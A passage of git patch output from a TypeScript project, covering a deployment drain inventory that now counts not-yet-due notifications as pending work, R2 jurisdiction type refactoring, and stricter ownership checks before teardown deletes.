])('matches notification due reads and Date chronology for $name inventory', async ({ + ])('enumerates pending notifications and counts notDue by Date chronology for $name inventory', async ({ now, dueOffset, futureOffset, @@ -598,17 +594,22 @@ describe('deployment drain inventory', () => { now: () => instant, }); const first = await inventory.read('pending-notifications', { limit: 1 }); - expect(first.entries.map((entry) => entry.key[1])).toEqual( - expected.slice(0, 1), - ); - expect(first.count).toBe(expected.length); - expect(first.totals).toEqual({ - notDue: - rows.filter((row) => row.status !== 'delivered').length - - expected.length, - }); + expect(first.entries.map((entry) => entry.key[1])).toEqual([ + 'a-expanded-future', + ]); + expect(first.count).toBe(8); + expect(first.totals).toEqual({ notDue: 3 }); expect(await drain(inventory, 'pending-notifications', 1)).toEqual( - expected.map((id) => JSON.stringify(['thread', id])), + [ + 'a-expanded-future', + 'b-ordinary-due', + 'c-offset-due', + 'd-offset-future', + 'e-summary-due', + 'f-never', + 'g-equal', + 'h-negative-past', + ].map((id) => JSON.stringify(['thread', id])), ); const dueNotifications = await notifications.listDueNotifications({ now: new Date(instant), @@ -617,6 +618,68 @@ describe('deployment drain inventory', () => { expect(dueNotifications.map((row) => row.id).sort()).toEqual(expected); }); + it('enumerates a pending notification that is not yet due beside the due ones', async () => { + const { inventory } = await seeded(); + const first = await inventory.read('pending-notifications', { limit: 1 }); + expect(first.entries.map((entry) => entry.key)).toEqual([ + ['thr-1', 'ntf-due'], + ]); + expect(first.count).toBe(3); + expect(first.totals).toEqual({ notDue: 2 }); + expect(first.cursor).toBeDefined(); + const second = await inventory.read('pending-notifications', { + cursor: first.cursor, + limit: 1, + }); + expect(second.entries).toEqual([ + { + key: ['thr-1', 'ntf-later'], + detail: expect.objectContaining({ + deliverAt: new Date(NOW + 3_600_000).toISOString(), + }), + }, + ]); + expect(second.count).toBeUndefined(); + expect(second.totals).toBeUndefined(); + }); + + it('enumerates a pending notification carrying neither deliverAt nor summaryAt and counts it as notDue', async () => { + const { inventory, sqlite } = await seeded(); + sqlite.exec("DELETE FROM mastra_notifications WHERE id <> 'ntf-never'"); + const page = await inventory.read('pending-notifications'); + expect(page.entries).toEqual([ + { + key: ['thr-1', 'ntf-never'], + detail: { + source: 'src', + kind: 'kind', + priority: 'medium', + agentId: 'agent', + }, + }, + ]); + expect(page.count).toBe(1); + expect(page.totals).toEqual({ notDue: 1 }); + expect(page.cursor).toBeUndefined(); + }); + + it('keeps a sweep non-empty while only a not-yet-due notification is pending', async () => { + const { inventory, sqlite } = await seeded(); + sqlite.exec("DELETE FROM mastra_notifications WHERE id <> 'ntf-later'"); + const pages = await inventory.sweep(); + const notifications = pages.find( + (page) => page.category === 'pending-notifications', + ); + expect(notifications).toMatchObject({ + class: 'work', + entries: [{ key: ['thr-1', 'ntf-later'] }], + count: 1, + totals: { notDue: 1 }, + }); + expect(notifications?.entries).toHaveLength(1); + expect(notifications?.cursor).toBeUndefined(); + }); + it('reports standing configuration without asking a drain to empty it', async () => { // #given const { inventory } = await seeded(); diff --git a/packages/flowsafe/src/do-runner/inventory.ts b/packages/flowsafe/src/do-runner/inventory.ts index 91084a62..14ef2a8c 100644 --- a/packages/flowsafe/src/do-runner/inventory.ts +++ b/packages/flowsafe/src/do-runner/inventory.ts @@ -4,11 +4,9 @@ // // WHY it exists. The fence (execution-fence.ts) can stop a deployment minting // work, but stopping is not finishing. A migration only becomes safe at the -// moment nobody can point at a run, an approval, a queued task, or a due -// dispatch that this deployment still owes. Before this module the only way to -// answer that was to name the tables you happened to remember and count them by -// hand — an answer whose failure mode is silence: a table nobody thought of -// holds a suspended run, the migration proceeds, and two deployments resume it. +// moment nobody can point at a run, an approval, a queued task, or a pending +// dispatch that this deployment still owes. A pending notification remains +// work even when its dispatch time has not arrived. // // THE TAXONOMY IS THE CONTRACT, and completeness is the product. What is sold // here is not a set of queries; it is the claim that these queries are ALL of @@ -24,7 +22,7 @@ // // TWO CLASSES, because a drain proof defined over everything can never pass. // `work` is what must reach empty: runs, approvals awaiting a decision, queued -// tasks, due dispatches, unsettled reservations. `standing` is configuration +// tasks, pending dispatches, unsettled reservations. `standing` is configuration // that ARMS future work — schedules, provider subscriptions — and by design it // never empties; a deployment with three cron schedules is drainable, and // demanding otherwise would make the proof unreachable rather than strict. @@ -45,13 +43,11 @@ // `listTriggers`. None of them is usable here, and not for style reasons: each // either initializes schema on the way in, or advances a cursor, or reaches a // Durable Object that would wake and re-arm an alarm. An inventory built on -// them would perturb the very deployment it is measuring. So the queries below -// are new and pure, and each one's predicate is derived from the production -// reader or purge that owns the same notion — the terminal-run SQL is literally -// the retention purge's fragment, the due-notification predicate is -// `listDueNotifications`'s, the deferred-dispatch predicate is the schedule -// store's own dispatch guard — so "finished" cannot come to mean one thing to -// the code that acts and another to the code that certifies. +// them would perturb the deployment it is measuring. The inventory uses the +// retention purge's terminal-run fragment and the schedule store's deferred +// dispatch guard. Pending notifications remain work even when the production +// due scan does not select them; its predicate determines `notDue` within the +// pending category. import { DEPLOYMENT_SENTINEL_TABLE, @@ -185,7 +181,8 @@ export interface InventoryPage { * Category-specific totals taken with `count`, in the same read: the numbers * that answer an operator's next question without a second sweep. See * `background-tasks` (`fenceSuspended`) and `pending-notifications` - * (`notDue`). + * (`notDue`, the enumerated pending rows not yet due, including rows with + * neither delivery timestamp). */ readonly totals?: Readonly>; } @@ -500,8 +497,7 @@ export const INVENTORY_CATEGORY_DESCRIPTORS: readonly InventoryCategoryDescripto category: 'pending-notifications', class: 'work', table: NOTIFICATIONS_TABLE, - holds: - 'an agent-inbox notification that is pending and already due for dispatch', + holds: 'a pending agent-inbox notification, due or not yet due', }, { category: 'background-tasks', @@ -586,34 +582,12 @@ interface CategoryQuery { readonly binds: readonly unknown[]; /** * Extra `SUM(...) AS alias` aggregates taken with the count on the first - * page. Their predicate is the category's own, so a total here is always a - * partition of `count` unless its doc says otherwise. + * page over the category's predicate. `notDue` counts enumerated pending + * notifications that the dispatch due scan does not select. */ readonly totals?: readonly string[]; /** Bindings the `totals` expressions need, in order. */ readonly totalsBinds?: readonly unknown[]; - /** - * A WIDER predicate for the aggregate pass, when a category's totals must - * describe rows the page deliberately excludes — `pending-notifications` - * pages only what is DUE, but "how many are pending and not due yet" is the - * question an operator asks next and no amount of paging answers it. - * - * Widening the aggregate does NOT widen `count`: a category that sets this - * must also set `countExpression`, so `count` still means "rows in this - * category" everywhere. A count that meant one thing for eight categories - * and something larger for the ninth is a number an operator would read - * wrong exactly once. - */ - readonly countWhere?: string; - /** - * How `count` is computed when `countWhere` is wider than `where` — a - * conditional SUM that re-applies the category's own predicate. - */ - readonly countExpression?: string; - /** Bindings for `countExpression`, in order. */ - readonly countExpressionBinds?: readonly unknown[]; - /** Bindings for `countWhere`, when it differs. */ - readonly countBinds?: readonly unknown[]; /** * A second, strictly optional read that decorates the page. Used for the run * owner annotation, whose table is a different feature's and may not exist — @@ -985,21 +959,13 @@ export class DeploymentInventory { query: CategoryQuery, ): Promise | undefined> { const extra = query.totals ?? []; - // `count` is always "rows in this category", even when the aggregate scans - // wider: a category that widens `countWhere` re-applies its own predicate - // through `countExpression`. - const total = query.countExpression ?? 'COUNT(*)'; const { results } = await this.#db .prepare( - `SELECT ${total} AS total${extra.length === 0 ? '' : `, ${extra.join(', ')}`} + `SELECT COUNT(*) AS total${extra.length === 0 ? '' : `, ${extra.join(', ')}`} FROM ${table} - WHERE ${query.countWhere ?? query.where}`, - ) - .bind( - ...(query.countExpressionBinds ?? []), - ...(query.totalsBinds ?? []), - ...(query.countBinds ?? query.binds), + WHERE ${query.where}`, ) + .bind(...(query.totalsBinds ?? []), ...query.binds) .all(); const row = results[0]; if (row === undefined) return undefined; @@ -1063,26 +1029,22 @@ export class DeploymentInventory { }; case 'pending-notifications': { const now = notificationTimestampMillis(new Date(this.#now())); - // listDueNotifications' predicate, verbatim in meaning: pending AND - // (deliverAt or summaryAt has come due). A pending row that is not yet - // due stays out of the page and is reported as `notDue` instead; that - // total also covers pending rows carrying NEITHER timestamp, which no - // dispatch pass will ever select. A due row the dispatcher cannot read - // is in the page on every pass and leaves it only when a writer - // repairs or deletes it. + // Future dispatch is still an outstanding obligation. Rows with + // neither timestamp also keep the drain open: dispatch cannot select + // them and retention does not remove pending notifications. const due = DUE_NOTIFICATION_SQL; return { key: ['thread_id', 'id'], - detail: ['source', 'kind', 'priority', 'agentId', 'deliverAt'], - where: due, - binds: [now, now], - // The aggregate scans every PENDING row so `notDue` can exist at - // all — but `count` re-applies the due predicate, so it still means - // what it means in every other category: rows in this one. - countWhere: "status = 'pending'", - countBinds: [], - countExpression: `SUM(CASE WHEN ${due} THEN 1 ELSE 0 END)`, - countExpressionBinds: [now, now], + detail: [ + 'source', + 'kind', + 'priority', + 'agentId', + 'deliverAt', + 'summaryAt', + ], + where: "status = 'pending'", + binds: [], totals: [`SUM(CASE WHEN ${due} THEN 0 ELSE 1 END) AS notDue`], totalsBinds: [now, now], }; diff --git a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts index d7e9789c..8ceb6da4 100644 --- a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts +++ b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts @@ -977,6 +977,129 @@ describe('notification dispatch — lost response after the thread DO handler', }); }); +describe('notification dispatch — ownerless target', () => { + it('discards a notification whose thread became ownerless after it was created: each dispatch attempt fails with 404 until delivery-attempts-exhausted', async () => { + let now = new Date('2026-07-20T12:00:00.000Z'); + const storage = new D1NotificationsStorage( + sqliteUnitDatabase(openSqlite()) as SignalDatabase, + ); + const storeFactory = new InMemoryApprovalStoreFactory(); + const context = createPrincipalActorContext({ + principal: trustAutomationPrincipal({ + kind: 'system', + id: 'notification-maintenance', + purpose: 'notification.dispatch', + }), + storeFactory, + buildService: () => { + throw new Error('approval service is not used in notification tests'); + }, + }); + await context.claimResource('thread', THREAD_ID); + const ownership = storeFactory.resources(); + const { agent, sendSignal, targets } = reserveAgent(); + const exchanges: NonNullable = []; + const namespace = threadNamespace({ + agent, + ownership, + exchanges, + resolveNotificationsStorage: () => storage, + }); + namespace.get(namespace.idFromName(THREAD_ID)); + const record = await storage.createNotification({ + id: 'ownerless', + threadId: THREAD_ID, + resourceId: resourceIdFromKey('itest'), + agentId: agent.id, + source: 'provider', + kind: 'changed', + summary: 'ownerless input', + priority: 'urgent', + deliverAt: new Date(now.getTime() - 1), + }); + expect(await ownership.owner('thread', THREAD_ID)).toEqual( + context.resourceOwner, + ); + expect( + await ownership.release('thread', THREAD_ID, context.resourceOwner), + ).toBe(true); + expect(await ownership.owner('thread', THREAD_ID)).toBeUndefined(); + + const conditional = vi.spyOn( + storage, + 'updateNotificationDeliveryIfUnchanged', + ); + const tick = createNotificationDispatchTick({ + storage, + topology: createThreadTopology(namespace), + resolveContext: () => context, + executionFence: 'none', + maxDeliveryAttempts: 2, + now: () => now, + }); + expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 }); + const deferred = await storage.getNotification(record); + expect(deferred).toMatchObject({ + status: 'pending', + deliveryAttempts: 1, + lastDeliveryAttemptAt: now, + lastDeliveryError: 'thread notification dispatch returned 404', + }); + assert(deferred?.deliverAt); + expect(deferred.deliverAt.getTime()).toBeGreaterThan(now.getTime()); + expect(sendSignal).not.toHaveBeenCalled(); + expect(targets).toEqual([]); + + now = deferred.deliverAt; + expect(await tick()).toEqual({ + due: 1, + delivered: 0, + failed: 0, + discarded: 1, + }); + const terminal = await storage.getNotification(record); + expect(terminal).toMatchObject({ + status: 'discarded', + deliveryReason: 'delivery-attempts-exhausted', + deliveryAttempts: 2, + lastDeliveryAttemptAt: now, + lastDeliveryError: 'thread notification dispatch returned 404', + discardedAt: expect.any(Date), + deliverAt: undefined, + summaryAt: undefined, + deliveredSignalId: undefined, + }); + expect(conditional.mock.calls.map(([input]) => input.failure)).toEqual([ + expect.objectContaining({ + type: 'retry', + deliveryAttempts: 1, + lastDeliveryError: 'thread notification dispatch returned 404', + }), + expect.objectContaining({ + type: 'discard', + deliveryAttempts: 2, + lastDeliveryError: 'thread notification dispatch returned 404', + }), + ]); + expect(exchanges).toHaveLength(2); + for (const exchange of exchanges) { + expect(new URL(exchange.request.url).pathname).toBe( + '/signal/notifications/dispatch', + ); + expect(exchange.response?.status).toBe(404); + expect(await exchange.response?.clone().text()).toBe( + 'private thread ownership refusal', + ); + } + expect(await tick()).toEqual({ due: 0, delivered: 0, failed: 0 }); + expect(await storage.getNotification(record)).toEqual(terminal); + expect(conditional).toHaveBeenCalledTimes(2); + expect(exchanges).toHaveLength(2); + expect(sendSignal).not.toHaveBeenCalled(); + expect(targets).toEqual([]); + }); +}); + describe('notification dispatch — chronological due window', () => { it.each([ 'deliverAt', From 25fa8791ccad9009685f966874ed243394e821b9 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 08:10:55 +0400 Subject: [PATCH 150/169] fix(fleet-control): move the R2 jurisdictions and the SDK refusal check The transport-neutral type module imported a type from the Cloudflare inventory implementation, and that implementation imported APIError from the cloudflare package as a runtime value. Forty modules under src/ import ./types.js, so the first edge let all forty reach the provider layer: pnpm run architecture:check:rules reported 47 violations over 623 modules at 7a446d2, under eight fleet-control layering rules and the cycle rule. The second edge broke fleet-control-runtime-sdk-stays-in-provider-modules, which exempts cloudflare-client.ts, cloudflare-ordinary-worker-operations.ts and cloudflare-provider-errors.ts; the rules half of the gate drops that edge with its node_modules exclusion, so architecture:controls is what reports it. types.ts now declares R2_JURISDICTIONS, a frozen ordered list, derives R2Jurisdiction from it in place of the literal union it already exported, and declares FleetInventoryR2Jurisdiction as an alias of R2Jurisdiction. The inventory implementation imports the list and the alias instead of declaring a const and a second union of its own. Both type names stay exported from the root and cloudflare-control-plane entries and name the same three jurisdictions, so the packed export surface carries the same names. R2_JURISDICTIONS is exported from neither entry; typedoc.json lists it under intentionallyNotExported, because the public R2Jurisdiction derives from it and docs:api treats that warning as an error. cloudflare-provider-errors.ts gains isR2JurisdictionAccessRefusal, beside isNotFound and isTransientProviderError: an APIError with HTTP status 403 carrying provider code 10003 is how an R2 list refuses a jurisdiction the account has no entitlement to. That module already imports APIError and the SDK rule exempts it. The R2 inventory stage calls the predicate in place of four inline clauses; its jurisdiction === 'default' and startAfter !== undefined conditions still rethrow, and the unavailable-r2-jurisdiction meta row, the page identity digest and the resume cursor are untouched. Co-Authored-By: Claude Opus 5 --- .../src/cloudflare-control-plane.ts | 2 +- .../src/cloudflare-fleet-inventory.ts | 18 ++++++++---------- .../src/cloudflare-provider-errors.ts | 13 +++++++++++++ packages/fleet-control/src/index.ts | 2 +- packages/fleet-control/src/types.ts | 13 +++++++++++-- packages/fleet-control/typedoc.json | 1 + 6 files changed, 35 insertions(+), 14 deletions(-) diff --git a/packages/fleet-control/src/cloudflare-control-plane.ts b/packages/fleet-control/src/cloudflare-control-plane.ts index 48c09df0..7d6d315e 100644 --- a/packages/fleet-control/src/cloudflare-control-plane.ts +++ b/packages/fleet-control/src/cloudflare-control-plane.ts @@ -73,7 +73,6 @@ export { CleanupAdvanceTokenFutureError, CleanupAdvanceTokenOperationError, } from './cleanup-intent.js'; -export type { FleetInventoryR2Jurisdiction } from './cloudflare-fleet-inventory.js'; export { type CloudflareApiRateCoordinator, D1CloudflareApiRateCoordinator, @@ -191,6 +190,7 @@ export type { ExternalReleaseTopology, FleetInventoryDeployment, FleetInventoryFinding, + FleetInventoryR2Jurisdiction, FleetSettlementContext, FleetSettlementEntry, InvocationAuthorityCarrier, diff --git a/packages/fleet-control/src/cloudflare-fleet-inventory.ts b/packages/fleet-control/src/cloudflare-fleet-inventory.ts index 8d6371bc..75b2c044 100644 --- a/packages/fleet-control/src/cloudflare-fleet-inventory.ts +++ b/packages/fleet-control/src/cloudflare-fleet-inventory.ts @@ -1,12 +1,12 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash } from 'node:crypto'; -import { APIError } from 'cloudflare'; import { CLOUDFLARE_INVENTORY_BOUND, inventoryBoundExceeded, } from './cloudflare-client-config.js'; import { MAX_DATABASE_INVENTORY } from './cloudflare-ordinary-worker-operations.js'; +import { isR2JurisdictionAccessRefusal } from './cloudflare-provider-errors.js'; import { type CloudflareWorkerAttachmentScanContext, listDispatchScriptPage, @@ -36,7 +36,12 @@ import { parseHostRoutingTarget, } from './host-routing.js'; import { canonicalDeploymentEgressPolicy } from './platform-resources.js'; -import type { FleetInventoryFinding, WorkerZoneRoute } from './types.js'; +import { + type FleetInventoryFinding, + type FleetInventoryR2Jurisdiction, + R2_JURISDICTIONS, + type WorkerZoneRoute, +} from './types.js'; /** * The registry key prefix and fleet tag are private to the Cloudflare client @@ -49,15 +54,11 @@ const FLEET_SCRIPT_TAG = 'fleet:anchorage'; const DISPATCH_PAGE_SIZE = 1_000; const DISPATCH_PAGE_BOUND = 100; const R2_PAGE_SIZE = 1_000; -const R2_JURISDICTIONS = Object.freeze(['default', 'eu', 'fedramp'] as const); const NON_ASCII = /[^\p{ASCII}]/u; /** The frozen finding vocabulary every staged finding row must name. */ type FleetInventoryFindingKind = FleetInventoryFinding['kind']; -/** One R2 jurisdiction, in today's fixed encounter order. */ -export type FleetInventoryR2Jurisdiction = (typeof R2_JURISDICTIONS)[number]; - /** A provider binding as the account API returns it. */ export interface FleetInventoryProviderBinding { readonly type?: string; @@ -1954,10 +1955,7 @@ async function advanceR2Buckets( if ( jurisdiction === 'default' || startAfter !== undefined || - !(error instanceof APIError) || - error.status !== 403 || - !Array.isArray(error.errors) || - !error.errors.some((entry) => entry?.code === 10003) + !isR2JurisdictionAccessRefusal(error) ) { throw error; } diff --git a/packages/fleet-control/src/cloudflare-provider-errors.ts b/packages/fleet-control/src/cloudflare-provider-errors.ts index cb7c1579..3d9b21a0 100644 --- a/packages/fleet-control/src/cloudflare-provider-errors.ts +++ b/packages/fleet-control/src/cloudflare-provider-errors.ts @@ -161,6 +161,19 @@ export function isNotFound(error: unknown): boolean { ); } +/** + * R2 lists use HTTP 403 with provider code 10003 when the account lacks + * entitlement to the requested jurisdiction. + */ +export function isR2JurisdictionAccessRefusal(error: unknown): boolean { + return ( + error instanceof APIError && + error.status === 403 && + Array.isArray(error.errors) && + error.errors.some((entry) => entry?.code === 10003) + ); +} + /** * Recognizes SDK provider responses and transport failures, including their * sanitized forms. A transient classification still requires an absence read diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index a9dc750d..3d8af5f8 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -70,7 +70,6 @@ export { type OrdinaryWorkerFootprint, type PlainWorkerCloudflareClientOptions, } from './cloudflare-client.js'; -export type { FleetInventoryR2Jurisdiction } from './cloudflare-fleet-inventory.js'; export type { PreparedOrdinaryWorkerDeploymentVersions, PreparedOrdinaryWorkerUpload, @@ -289,6 +288,7 @@ export { type ExternalReleaseTopology, type FleetInventoryDeployment, type FleetInventoryFinding, + type FleetInventoryR2Jurisdiction, type FleetRecord, type FleetResourceInventory, type FleetSettlementContext, diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 0c6dd584..c514eb75 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -1,7 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 import type { InitialExecutionFenceState } from '@proofoftech/flowsafe/deployment-identity-protocol'; -import type { FleetInventoryR2Jurisdiction } from './cloudflare-fleet-inventory.js'; import type { HostRoutingTarget } from './host-routing.js'; /** @@ -79,7 +78,17 @@ export interface D1Migration { readonly rollbackCompatible?: true; } -export type R2Jurisdiction = 'default' | 'eu' | 'fedramp'; +/** The R2 jurisdictions this control plane addresses, in encounter order. */ +export const R2_JURISDICTIONS = Object.freeze([ + 'default', + 'eu', + 'fedramp', +] as const); + +export type R2Jurisdiction = (typeof R2_JURISDICTIONS)[number]; + +/** One R2 jurisdiction, in today's fixed encounter order. */ +export type FleetInventoryR2Jurisdiction = R2Jurisdiction; /** * One Worker's identity plus its D1 and routing claims, as the authoritative diff --git a/packages/fleet-control/typedoc.json b/packages/fleet-control/typedoc.json index b15499c2..d1a856f1 100644 --- a/packages/fleet-control/typedoc.json +++ b/packages/fleet-control/typedoc.json @@ -12,6 +12,7 @@ "name": "@proofoftech/fleet-control", "excludeExternals": true, "excludeInternal": true, + "intentionallyNotExported": ["R2_JURISDICTIONS"], "validation": { "notExported": true, "invalidLink": true, From 28395fa1421640b75c2a3f7be18bba9f1a5ce484 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 14:35:47 +0400 Subject: [PATCH 151/169] fix(fleet-control): attest ownership before every teardown dispatch The direct-credentialed teardown attested a resource's ownership only when it resumed a pending step: the identity read for the Worker, the two D1 databases and the export bucket ran inside the resume branch of the shared mutate helper, which also held the probe, so a first attempt neither probed nor attested before its delete. The ingress-disable and export-object steps carried no identity check at all: they mutated a Worker and a bucket whose ownership only a later step attested, and only on a resume. The helper now probes on every attempt, settles an absent resource by reread, and runs the step's ownership check before the prepare read and the dispatch-intent write. The Worker and bucket identity checks are named functions: the ingress step shares the Worker's, and the bucket's runs once after the object listings and before the object deletes. A first attempt that settles by reread also advances the journal phase, because the run-state decoder rejects a phase that jumps two positions. The secret-name comparison compares the complete observed set. The recording predicate that filtered it dropped an over-long or control-character name before the equality check, so a script carrying an extra secret under such a name still matched the reference set. Seven tests pin the first-attempt refusals, the two rejected-name cases and the settle-by-reread path; the pinned request sequence grows from 27 to 40 entries. Co-Authored-By: Claude Fable 5.1 --- .../scripts/direct-credentialed-teardown.mjs | 95 ++++++----- .../test/direct-credentialed-teardown.test.ts | 157 +++++++++++++++++- 2 files changed, 199 insertions(+), 53 deletions(-) diff --git a/packages/fleet-control/scripts/direct-credentialed-teardown.mjs b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs index cfb28c7a..bfc9f7fc 100644 --- a/packages/fleet-control/scripts/direct-credentialed-teardown.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs @@ -465,14 +465,14 @@ export async function teardownDirectReference(input) { const pending = teardown?.pending ?? null; if (pending && (pending.kind !== kind || pending.key !== key)) refuse('invalid-state'); - if (pending) { - if ((await probe()) === 'absent') { - await write({ receipts: receipt(true) }); - return; - } - // Steps whose probe already establishes identity carry none of their own. - await identity?.(); + if ((await probe()) === 'absent') { + await write({ phase: nextPhase, receipts: receipt(true) }); + return; } + // Ownership attestation gates every dispatch, not only a resumed one, and + // runs only against a resource the probe has proved present. Steps whose + // probe already establishes identity carry none of their own. + await identity?.(); // Reads that gate the delete run outside its ambiguity window: a refusal // here leaves nothing pending because nothing was issued. await prepare?.(); @@ -524,6 +524,40 @@ export async function teardownDirectReference(input) { sdk.r2.buckets.get(bucket, { ...selectors, jurisdiction: 'default' }), ); + // Shared so that a step which mutates one of these resources attests it + // itself, rather than on the strength of a later step's check. + const scriptIdentity = async () => { + const { exactActiveVersionId } = await import('../src/active-route.ts'); + const deployments = ( + await sdk.workers.scripts.deployments.list(script, selectors) + ).deployments; + if (!Array.isArray(deployments) || deployments.length === 0) + refuse('provider-unavailable'); + let active; + try { + active = exactActiveVersionId(deployments[0], 'reference'); + } catch { + refuse('identity-mismatch'); + } + if (active !== bootstrap.active.versionId) refuse('identity-mismatch'); + }; + const bucketIdentity = async () => { + const observed = await sdk.r2.buckets.get(bucket, { + ...selectors, + jurisdiction: 'default', + }); + if ( + observed?.name !== bucket || + (observed.jurisdiction !== undefined && + observed.jurisdiction !== 'default') || + typeof observed.creation_date !== 'string' || + !Number.isFinite(Date.parse(observed.creation_date)) || + new Date(observed.creation_date).toISOString() !== + bootstrap.exports.creationDate + ) + refuse('identity-mismatch'); + }; + if (!receipts.exports) { const ceiling = Number.MAX_SAFE_INTEGER; try { @@ -592,6 +626,7 @@ export async function teardownDirectReference(input) { kind: 'disable-reference-ingress', nextPhase: 'ingress', probe: ingressProbe, + identity: scriptIdentity, call: async () => { const answer = await sdk.workers.scripts.subdomain.create( script, @@ -613,32 +648,14 @@ export async function teardownDirectReference(input) { kind: 'delete-reference-worker', nextPhase: 'worker', probe: scriptProbe, - identity: async () => { - const { exactActiveVersionId } = await import( - '../src/active-route.ts' - ); - const deployments = ( - await sdk.workers.scripts.deployments.list(script, selectors) - ).deployments; - if (!Array.isArray(deployments) || deployments.length === 0) - refuse('provider-unavailable'); - let active; - try { - active = exactActiveVersionId(deployments[0], 'reference'); - } catch { - refuse('identity-mismatch'); - } - if (active !== bootstrap.active.versionId) - refuse('identity-mismatch'); - }, + identity: scriptIdentity, prepare: async () => { const listed = await singlePage( single.workers.scripts.secrets.list(script, selectors), ); - const observed = listed.rows - .map((row) => row.name) - .filter(recordableName) - .sort(); + // The complete observed set is what is compared: a name + // `recordableName` rejects is still a secret the script carries. + const observed = listed.rows.map((row) => row.name).sort(); if (!isDeepStrictEqual(observed, [...REFERENCE_SECRET_NAMES])) refuse('identity-mismatch'); secretNames = observed; @@ -702,6 +719,9 @@ export async function teardownDirectReference(input) { }; inspect(await listObjects(true)); inspect(await listObjects(false)); + // The listings already prove the bucket present, so this attestation + // needs no probe of its own. + await bucketIdentity(); for (const key of confirmed) { if (receipts.exportObjects.some((entry) => entry.key === key)) continue; await mutate({ @@ -741,22 +761,7 @@ export async function teardownDirectReference(input) { kind: 'delete-export-r2', nextPhase: 'exports', probe: bucketProbe, - identity: async () => { - const observed = await sdk.r2.buckets.get(bucket, { - ...selectors, - jurisdiction: 'default', - }); - if ( - observed?.name !== bucket || - (observed.jurisdiction !== undefined && - observed.jurisdiction !== 'default') || - typeof observed.creation_date !== 'string' || - !Number.isFinite(Date.parse(observed.creation_date)) || - new Date(observed.creation_date).toISOString() !== - bootstrap.exports.creationDate - ) - refuse('identity-mismatch'); - }, + identity: bucketIdentity, call: () => settled.r2.buckets.delete( bucket, diff --git a/packages/fleet-control/test/direct-credentialed-teardown.test.ts b/packages/fleet-control/test/direct-credentialed-teardown.test.ts index 79836464..c5b7996a 100644 --- a/packages/fleet-control/test/direct-credentialed-teardown.test.ts +++ b/packages/fleet-control/test/direct-credentialed-teardown.test.ts @@ -4,7 +4,10 @@ import { readFile } from 'node:fs/promises'; import { join } from 'node:path'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { DirectProviderError } from '../scripts/direct-credentialed-provider.mjs'; -import type { DirectRunJournal } from '../scripts/direct-credentialed-run-state.mjs'; +import { + DIRECT_TEARDOWN_MAXIMA, + type DirectRunJournal, +} from '../scripts/direct-credentialed-run-state.mjs'; import type { DirectTeardownOutcome } from '../scripts/direct-credentialed-teardown.mjs'; import { teardownDirectReference } from '../scripts/direct-credentialed-teardown.mjs'; import { @@ -49,6 +52,16 @@ const absent = (status = 404) => { status }, ); const forbid = () => absent(403); +const deployments = (versionId: string) => + json({ + deployments: [ + { + id: 'deployment', + strategy: 'percentage', + versions: [{ version_id: versionId, percentage: 100 }], + }, + ], + }); const paged = (url: URL, rows: Row[]) => json(url.searchParams.has('page') ? [] : rows); const never = () => @@ -291,22 +304,35 @@ describeLinux('direct reference teardown', () => { const outcome = await w.run(); expect(outcome.status).toBe('cleaned'); expect(w.requests).toEqual([ + `GET ${w.script}/subdomain`, + `GET ${w.script}/deployments`, `POST ${w.script}/subdomain`, `GET ${w.script}/subdomain`, + `GET ${w.script}`, + `GET ${w.script}/deployments`, `GET ${w.script}/secrets`, `DELETE ${w.script}`, `GET ${w.script}`, + `GET ${ROOT}/d1/database/fleet-uuid`, + `GET ${ROOT}/d1/database/fleet-uuid`, `DELETE ${ROOT}/d1/database/fleet-uuid`, `GET ${ROOT}/d1/database/fleet-uuid`, + `GET ${ROOT}/d1/database/quota-uuid`, + `GET ${ROOT}/d1/database/quota-uuid`, `DELETE ${ROOT}/d1/database/quota-uuid`, `GET ${ROOT}/d1/database/quota-uuid`, `GET ${w.bucketPath}/objects`, `GET ${w.bucketPath}/objects`, + `GET ${w.bucketPath}`, + `GET ${w.bucketPath}/objects/${w.keyA}`, `DELETE ${w.bucketPath}/objects/${w.keyA}`, `GET ${w.bucketPath}/objects/${w.keyA}`, + `GET ${w.bucketPath}/objects/${w.keyB}`, `DELETE ${w.bucketPath}/objects/${w.keyB}`, `GET ${w.bucketPath}/objects/${w.keyB}`, `GET ${w.bucketPath}/objects`, + `GET ${w.bucketPath}`, + `GET ${w.bucketPath}`, `DELETE ${w.bucketPath}`, `GET ${w.bucketPath}`, `GET ${ROOT}/d1/database`, @@ -320,24 +346,24 @@ describeLinux('direct reference teardown', () => { `GET ${w.script}/versions`, ]); expect(outcome.facts.receipts).toMatchObject({ - ingress: { ordinal: 2, settledByReread: false }, + ingress: { ordinal: 4, settledByReread: false }, worker: { scriptName: w.names.referenceWorker, secretNames: SECRET_NAMES, - ordinal: 5, + ordinal: 9, settledByReread: false, }, - fleet: { uuid: 'fleet-uuid', ordinal: 7, settledByReread: false }, - quota: { uuid: 'quota-uuid', ordinal: 9, settledByReread: false }, + fleet: { uuid: 'fleet-uuid', ordinal: 13, settledByReread: false }, + quota: { uuid: 'quota-uuid', ordinal: 17, settledByReread: false }, exports: { name: w.names.exportBucket, - ordinal: 18, + ordinal: 31, settledByReread: false, }, }); expect(outcome.facts.receipts.exportObjects).toEqual([ - { key: w.keyA, ordinal: 13, settledByReread: false }, - { key: w.keyB, ordinal: 15, settledByReread: false }, + { key: w.keyA, ordinal: 23, settledByReread: false }, + { key: w.keyB, ordinal: 26, settledByReread: false }, ]); expect(outcome.facts.retainedIdentities).toEqual({ fleetUuid: null, @@ -657,6 +683,121 @@ describeLinux('direct reference teardown', () => { 